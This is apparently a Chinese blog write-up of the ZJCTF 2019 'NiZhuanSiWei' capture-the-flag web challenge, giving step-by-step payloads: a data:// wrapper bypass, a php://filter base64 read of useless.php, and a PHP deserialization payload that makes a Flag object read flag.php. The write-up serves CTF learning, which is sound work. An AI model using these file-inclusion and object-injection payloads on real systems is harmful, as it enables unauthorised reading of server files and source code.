[ZJCTF 2019]NiZhuanSiWei

 

 首先看到有useless.php,但是我们直接打开useless.php发现什么都没有,因此我们在这里猜测需要使用文件包含来读取useless.php。

我们先要了解file_get_contents这个函数

 

 这个函数是把文件内容读入到字符串,因此我们可以使用data协议来将welcome to the zjctf写入。

payload:?text=data://text/plain,welcome to the zjctf

这样绕过了第一个
然后可以看到它对flag进行了过滤,所以我们不能直接读取flag,既然他提示了useless.php,那么我们不妨大胆的读取一下useless.php。

payload:?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

接下来我们就得到了base64编码的useless.php文件

# 解码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里$password 变量经过了反序列化,将变量$file设置成flag.php之后序列化,当 password 反序列化后,$file=flag.php参数给useless.php 文件**再通过 file_get_content(flag.php) 读取 flag.php 文件的内容并输出。所以需要将传入的值进行序列化一下。

 

<?php  
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$flag = new Flag();
$serflag = serialize($flag);
echo $serflag;
echo unserialize($serflag);
?> 
    
# 序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

因此最终的payload为:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

posted @ 2023-02-24 11:09  kode  阅读(27)  评论(0)    收藏  举报